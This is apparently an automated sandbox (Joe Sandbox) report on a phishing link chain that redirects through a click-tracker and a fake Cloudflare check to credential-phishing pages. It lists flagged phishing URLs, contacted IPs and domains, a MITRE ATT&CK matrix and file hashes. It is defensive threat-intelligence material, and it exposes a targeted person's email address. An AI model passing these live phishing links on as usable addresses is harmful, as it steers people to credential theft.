Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Web Protocols	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://code.jquery.com/jquery-3.6.0.min.js	0%	URL Reputation	safe
https://developers.google.com/recaptcha/docs/faq#localhost_support	0%	URL Reputation	safe
https://support.google.com/recaptcha#6262736	0%	URL Reputation	safe
https://support.google.com/recaptcha/?hl=en#6223828	0%	URL Reputation	safe
https://cloud.google.com/contact	0%	URL Reputation	safe
https://support.google.com/recaptcha/#6175971	0%	URL Reputation	safe
https://support.google.com/recaptcha	0%	URL Reputation	safe
https://cloud.google.com/recaptcha-enterprise/billing-information	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	0%	URL Reputation	safe
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	0%	URL Reputation	safe
https://cdn.socket.io/4.6.0/socket.io.min.js	0%	URL Reputation	safe
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/pqpqRMJ4f8kf8yzq5wjwx36	100%	Avira URL Cloud	phishing
https://a.nel.cloudflare.com/report/v4?s=EVnSOwDbG%2FqrVetDxvTHriFDUgiPCNPmMlnm8KhGgUEbfr7z10Mh8vg7a3yKL3JrhLaPwJbpEYMmpY0lIMRp6%2FF9puod3nqEMBCydRICir23grDKCtLIsLleJbuqcQ%3D%3D	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bc004eb3a7c8d&lang=auto	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8b7bbf6dd949c43b/1724422877786/uHR2yhc274LAQhN	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/rqMByta/	100%	Avira URL Cloud	phishing
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8b7bc004eb3a7c8d/1724422899198/k6wQePlMUzTyxyC	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bbf6dd949c43b&lang=auto	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/34tXF5vOTwPWG7ghRSTWNCY8U9mB4O89110	100%	Avira URL Cloud	phishing
https://4quqe.oustfemin.com/abPMvyMi4BP6pqRcd30	100%	Avira URL Cloud	phishing
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	0%	Avira URL Cloud	safe
https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot	0%	Avira URL Cloud	safe
https://i.imgur.com/xA8aaXN.png	0%	Avira URL Cloud	safe
https://github.com/fent)	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/90BwLzMpuCNIPc12Bxo7mGwVuU4yz71	100%	Avira URL Cloud	phishing
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/api.js	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/turnstile/v0/b/6790c32b9fc9/api.js	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/api2/	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/wxv021dpND9JZ2cUC61vV93UbPenOmnGW9KTt4y2I1KAPGXDeab180	100%	Avira URL Cloud	phishing
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	0%	Avira URL Cloud	safe
https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot/	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/eftGLBWu8OUJRb0dwkGNkbppjbuklsvH9IfHP7yQ0ZroZwJMFEez378146	100%	Avira URL Cloud	phishing
https://challenges.cloudflare.com/turnstile/v0/api.js	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/12euAqDcdlIORfF6720	100%	Avira URL Cloud	phishing
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/ijTLp2CToreFE8klRPbyfp7yzX8kad8OQ49Wh538NV5jvMGQmA56170	100%	Avira URL Cloud	phishing
https://4quqe.oustfemin.com/nz2XauxEJD6GOWIsNGbmhsISqkHYGospXOJ06xJDflJxNYAMTIpSqdz	100%	Avira URL Cloud	phishing
https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/cd4G6HI3Ijg6dT2j134OjSKyPSpkkl94	100%	Avira URL Cloud	phishing
https://4quqe.oustfemin.com/45BUs76lI5VisV6D7NxeT90YLF5l4Exy70	100%	Avira URL Cloud	phishing
https://4quqe.oustfemin.com/rqMByta/?PMKirsten.stevens@sueryder.org	100%	Avira URL Cloud	phishing
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/156047045:1724419407:L14tzDEDOBSKZ0TNeCHO3Q3o5larWtN6C36-ljdYwrk/8b7bc004eb3a7c8d/84b778c4aabe3e2	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8b7bbf6dd949c43b/1724422877780/3daea570a2e63ba95387280ed31743c52ff1e67b798d44b16121e60fe86f7483/XounNr_iHCHjsvj	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8b7bc004eb3a7c8d/1724422899198/3b740ba5a6e481ffff0c374824e1290e0926f7873444175f19b942168e98c5f5/owvsfoOHmUXYzHq	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/wx9uKr77gZUwOw0J3Z7hyOplopIHnVHZGF7vPJq34130	100%	Avira URL Cloud	phishing
https://play.google.com/log?format=json&hasfast=true	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/12zn8d0uaFJ78HnWlT1iop49	100%	Avira URL Cloud	phishing
https://www.gstatic.c..?/recaptcha/releases/i7X0JrnYWy9Y_5EYdoFM79kV/recaptcha__.	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/ijPcVEeSmCWpySyuFQYrrGLm25YHKajvsXLAqraImEwhmVt1OeTi6J3V3vyz230	100%	Avira URL Cloud	phishing
https://4quqe.oustfemin.com/rixZQ7i49HVQDFkT2K9BP2jQTFXOnXx5i81o7o	100%	Avira URL Cloud	phishing
https://4quqe.oustfemin.com/stBwujdhO6eh5XBwTCurWnvkflh7maBUZIfifTNdRbYO27678wxfwlS9pRZp8trrCi8ZQ2Vef260	100%	Avira URL Cloud	phishing
https://4quqe.oustfemin.com/rsYhvroAIArkSYfucuHoMsxdZ0ghDjdWp1MVKJoCKLd9cd193	100%	Avira URL Cloud	phishing
https://nursematte.com/cdn-cgi/challenge-platform/h/b/rc/8b7bbf6dd949c43b	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/ghegLAzFMXs8vAxA6sos58qgvJiOtXNmn6kZs6KFfeZUS2NgZBRU12205	100%	Avira URL Cloud	phishing
https://get.geojs.io/v1/ip/geo.json	0%	Avira URL Cloud	safe
https://nursematte.com/favicon.ico	0%	Avira URL Cloud	safe
https://aadcdn.msauthimages.net/c1c6b6c8-qq3bnf8j1njkrpr2jp05vj9kvt-rzdcwbkgtoviv7bm/logintenantbranding/0/bannerlogo?ts=638464375259754991	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=WfrpXmufTRjHm3vaI1iXVyAQUvLS6qjzsAtLBtw%2FvbY3OXFL4FRP%2BuqOaFGhWSEQKVjRDDq1Zkt%2BG%2B6z7o8rYvpAFnyoPHPkK%2Bm3vixwWh9q%2BF84vBjw8HMpjOL8ew%3D%3D	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/56cgfpYt7Gg84zQmfk45CqywRSAPguv56	100%	Avira URL Cloud	phishing
https://4quqe.oustfemin.com/ops0dzO1sQtluDIzM8DgPT4dyRUHfrRWMQGo6jgW12jF6nk7DHlM8Qvwgp5QX1Bbzcd239	100%	Avira URL Cloud	phishing
https://4quqe.oustfemin.com/opQcARUgS4Ali3TwsyZ6W0TNTwSBamnbjs1v05DL5rgoqWAuL45140	100%	Avira URL Cloud	phishing
https://job555.info/st-manager/click/track?id=3834&type=raw&url=https://4qUQE.oustfemin.com/rqMByta/	0%	Avira URL Cloud	safe
https://4quqe.oustfemin.com/favicon.ico	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
github.com	140.82.121.3	true	false	unknown
nursematte.com	162.241.24.35	true	false	unknown
n9mq.selinsvi.ru	172.67.137.224	true	false	unknown
plsu.cacbbt.ru	172.67.151.50	true	false	unknown
job555.info	202.172.26.4	true	true	unknown
code.jquery.com	151.101.130.137	true	false	unknown
d2vgu95hoyrpkh.cloudfront.net	13.227.219.11	true	false	unknown
4quqe.oustfemin.com	188.114.96.3	true	true	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
sni1gl.wpc.upsiloncdn.net	152.199.21.175	true	false	unknown
challenges.cloudflare.com	104.18.94.41	true	false	unknown
get.geojs.io	104.26.1.100	true	false	unknown
www.google.com	172.217.16.132	true	false	unknown
app.supercast.com	44.237.212.8	true	false	unknown
d19d360lklgih4.cloudfront.net	65.9.86.83	true	false	unknown
objects.githubusercontent.com	185.199.109.133	true	false	unknown
cdn.socket.io	unknown	unknown	false	unknown
aadcdn.msauthimages.net	unknown	unknown	false	unknown
ok4static.oktacdn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false	URL Reputation: safe	unknown
https://4quqe.oustfemin.com/rqMByta/	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8b7bc004eb3a7c8d/1724422899198/k6wQePlMUzTyxyC	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/pqpqRMJ4f8kf8yzq5wjwx36	true	Avira URL Cloud: phishing	unknown
https://a.nel.cloudflare.com/report/v4?s=EVnSOwDbG%2FqrVetDxvTHriFDUgiPCNPmMlnm8KhGgUEbfr7z10Mh8vg7a3yKL3JrhLaPwJbpEYMmpY0lIMRp6%2FF9puod3nqEMBCydRICir23grDKCtLIsLleJbuqcQ%3D%3D	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/34tXF5vOTwPWG7ghRSTWNCY8U9mB4O89110	false	Avira URL Cloud: phishing	unknown
https://4quqe.oustfemin.com/abPMvyMi4BP6pqRcd30	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bc004eb3a7c8d&lang=auto	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/rqMByta/#MKirsten.stevens@sueryder.org	false		unknown
https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot/#Kirsten.stevens+sueryder.org	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bbf6dd949c43b&lang=auto	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8b7bbf6dd949c43b/1724422877786/uHR2yhc274LAQhN	false	Avira URL Cloud: safe	unknown
https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/90BwLzMpuCNIPc12Bxo7mGwVuU4yz71	false	Avira URL Cloud: phishing	unknown
https://www.google.com/recaptcha/api.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/6790c32b9fc9/api.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/	false		unknown
https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d	true		unknown
https://4quqe.oustfemin.com/wxv021dpND9JZ2cUC61vV93UbPenOmnGW9KTt4y2I1KAPGXDeab180	false	Avira URL Cloud: phishing	unknown
https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot/	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/eftGLBWu8OUJRb0dwkGNkbppjbuklsvH9IfHP7yQ0ZroZwJMFEez378146	false	Avira URL Cloud: phishing	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/ijTLp2CToreFE8klRPbyfp7yzX8kad8OQ49Wh538NV5jvMGQmA56170	false	Avira URL Cloud: phishing	unknown
https://4quqe.oustfemin.com/12euAqDcdlIORfF6720	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/nz2XauxEJD6GOWIsNGbmhsISqkHYGospXOJ06xJDflJxNYAMTIpSqdz	false	Avira URL Cloud: phishing	unknown
https://4quqe.oustfemin.com/cd4G6HI3Ijg6dT2j134OjSKyPSpkkl94	false	Avira URL Cloud: phishing	unknown
https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/rqMByta/?PMKirsten.stevens@sueryder.org	false	Avira URL Cloud: phishing	unknown
https://4quqe.oustfemin.com/45BUs76lI5VisV6D7NxeT90YLF5l4Exy70	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8b7bbf6dd949c43b/1724422877780/3daea570a2e63ba95387280ed31743c52ff1e67b798d44b16121e60fe86f7483/XounNr_iHCHjsvj	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8b7bc004eb3a7c8d/1724422899198/3b740ba5a6e481ffff0c374824e1290e0926f7873444175f19b942168e98c5f5/owvsfoOHmUXYzHq	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/156047045:1724419407:L14tzDEDOBSKZ0TNeCHO3Q3o5larWtN6C36-ljdYwrk/8b7bc004eb3a7c8d/84b778c4aabe3e2	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/12zn8d0uaFJ78HnWlT1iop49	false	Avira URL Cloud: phishing	unknown
https://4quqe.oustfemin.com/wx9uKr77gZUwOw0J3Z7hyOplopIHnVHZGF7vPJq34130	false	Avira URL Cloud: phishing	unknown
https://cdn.socket.io/4.6.0/socket.io.min.js	false	URL Reputation: safe	unknown
https://4quqe.oustfemin.com/ijPcVEeSmCWpySyuFQYrrGLm25YHKajvsXLAqraImEwhmVt1OeTi6J3V3vyz230	false	Avira URL Cloud: phishing	unknown
https://4quqe.oustfemin.com/rixZQ7i49HVQDFkT2K9BP2jQTFXOnXx5i81o7o	false	Avira URL Cloud: phishing	unknown
https://4quqe.oustfemin.com/stBwujdhO6eh5XBwTCurWnvkflh7maBUZIfifTNdRbYO27678wxfwlS9pRZp8trrCi8ZQ2Vef260	false	Avira URL Cloud: phishing	unknown
https://4quqe.oustfemin.com/rsYhvroAIArkSYfucuHoMsxdZ0ghDjdWp1MVKJoCKLd9cd193	false	Avira URL Cloud: phishing	unknown
https://nursematte.com/cdn-cgi/challenge-platform/h/b/rc/8b7bbf6dd949c43b	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/ghegLAzFMXs8vAxA6sos58qgvJiOtXNmn6kZs6KFfeZUS2NgZBRU12205	false	Avira URL Cloud: phishing	unknown
https://nursematte.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://get.geojs.io/v1/ip/geo.json	false	Avira URL Cloud: safe	unknown
https://aadcdn.msauthimages.net/c1c6b6c8-qq3bnf8j1njkrpr2jp05vj9kvt-rzdcwbkgtoviv7bm/logintenantbranding/0/bannerlogo?ts=638464375259754991	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=WfrpXmufTRjHm3vaI1iXVyAQUvLS6qjzsAtLBtw%2FvbY3OXFL4FRP%2BuqOaFGhWSEQKVjRDDq1Zkt%2BG%2B6z7o8rYvpAFnyoPHPkK%2Bm3vixwWh9q%2BF84vBjw8HMpjOL8ew%3D%3D	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/56cgfpYt7Gg84zQmfk45CqywRSAPguv56	false	Avira URL Cloud: phishing	unknown
https://4quqe.oustfemin.com/ops0dzO1sQtluDIzM8DgPT4dyRUHfrRWMQGo6jgW12jF6nk7DHlM8Qvwgp5QX1Bbzcd239	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/	false		unknown
https://job555.info/st-manager/click/track?id=3834&type=raw&url=https://4qUQE.oustfemin.com/rqMByta/	false	Avira URL Cloud: safe	unknown
https://4quqe.oustfemin.com/opQcARUgS4Ali3TwsyZ6W0TNTwSBamnbjs1v05DL5rgoqWAuL45140	false	Avira URL Cloud: phishing	unknown
https://4quqe.oustfemin.com/favicon.ico	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_151.1.dr, chromecache_108.1.dr	false	URL Reputation: safe	unknown
https://support.google.com/recaptcha#6262736	chromecache_151.1.dr, chromecache_108.1.dr	false	URL Reputation: safe	unknown
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_151.1.dr, chromecache_108.1.dr	false	URL Reputation: safe	unknown
https://cloud.google.com/contact	chromecache_151.1.dr, chromecache_108.1.dr	false	URL Reputation: safe	unknown
https://github.com/fent)	chromecache_144.1.dr, chromecache_159.1.dr	false	Avira URL Cloud: safe	unknown
https://i.imgur.com/xA8aaXN.png	chromecache_104.1.dr, chromecache_124.1.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha/#6175971	chromecache_151.1.dr, chromecache_108.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/api2/	chromecache_147.1.dr, chromecache_134.1.dr, chromecache_151.1.dr, chromecache_108.1.dr	false	Avira URL Cloud: safe	unknown
https://support.google.com/recaptcha	chromecache_108.1.dr	false	URL Reputation: safe	unknown
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_151.1.dr, chromecache_108.1.dr	false	URL Reputation: safe	unknown
https://recaptcha.net	chromecache_108.1.dr	false	URL Reputation: safe	unknown
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_151.1.dr, chromecache_108.1.dr	false	URL Reputation: safe	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_108.1.dr	false	Avira URL Cloud: safe	unknown
https://www.gstatic.c..?/recaptcha/releases/i7X0JrnYWy9Y_5EYdoFM79kV/recaptcha__.	chromecache_151.1.dr, chromecache_108.1.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	chromecache_151.1.dr, chromecache_108.1.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
65.9.86.83	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
104.26.1.100	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
18.245.31.78	unknown	United States	16509	AMAZON-02US	false
104.21.64.135	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
172.67.137.224	n9mq.selinsvi.ru	United States	13335	CLOUDFLARENETUS	false
44.237.212.8	app.supercast.com	United States	16509	AMAZON-02US	false
185.199.109.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.78.226	unknown	United States	13335	CLOUDFLARENETUS	false
202.172.26.4	job555.info	Japan	37907	DIGIROCKDigiRockIncJP	true
185.199.110.133	unknown	Netherlands	54113	FASTLYUS	false
162.241.24.35	nursematte.com	United States	46606	UNIFIEDLAYER-AS-1US	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.36	unknown	United States	15169	GOOGLEUS	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
142.250.185.132	unknown	United States	15169	GOOGLEUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.151.50	plsu.cacbbt.ru	United States	13335	CLOUDFLARENETUS	false
3.161.119.78	unknown	United States	16509	AMAZON-02US	false
13.227.219.11	d2vgu95hoyrpkh.cloudfront.net	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	4quqe.oustfemin.com	European Union	13335	CLOUDFLARENETUS	true
172.67.70.233	unknown	United States	13335	CLOUDFLARENETUS	false
152.199.21.175	sni1gl.wpc.upsiloncdn.net	United States	15133	EDGECASTUS	false
172.217.16.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1498089
Start date and time:	2024-08-23 16:20:41 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.win@20/117@70/30
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 64.233.184.84, 142.250.185.206, 34.104.35.123, 93.184.221.240, 142.250.186.99, 172.217.18.10, 142.250.186.106, 142.250.185.170, 216.58.206.42, 142.250.185.234, 216.58.206.74, 172.217.16.138, 142.250.185.202, 142.250.181.234, 142.250.186.42, 142.250.74.202, 142.250.186.170, 172.217.16.202, 142.250.185.138, 142.250.186.74, 142.250.184.234, 142.250.185.99, 142.250.186.163, 142.250.185.78
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, login.live.com, aadcdn.azureedge.net, aadcdn.ec.azureedge.net, update.googleapis.com, clients.l.google.com, www.gstatic.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Aug 23 13:21:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.98199197258522
Encrypted:	false
SSDEEP:	48:8OdBTpZd+HY/UidAKZdA1FehwiZUklqehSy+3:807f/6Fy
MD5:	98F71B9EBE8321C72E8F7D88785FB8F0
SHA1:	DB29A084C96C88450B47F9384B5294877624486B
SHA-256:	7887525B2B9C57756BBC4A14F2E5467AE9C71EBC113C0563934FC8C90DEB787E
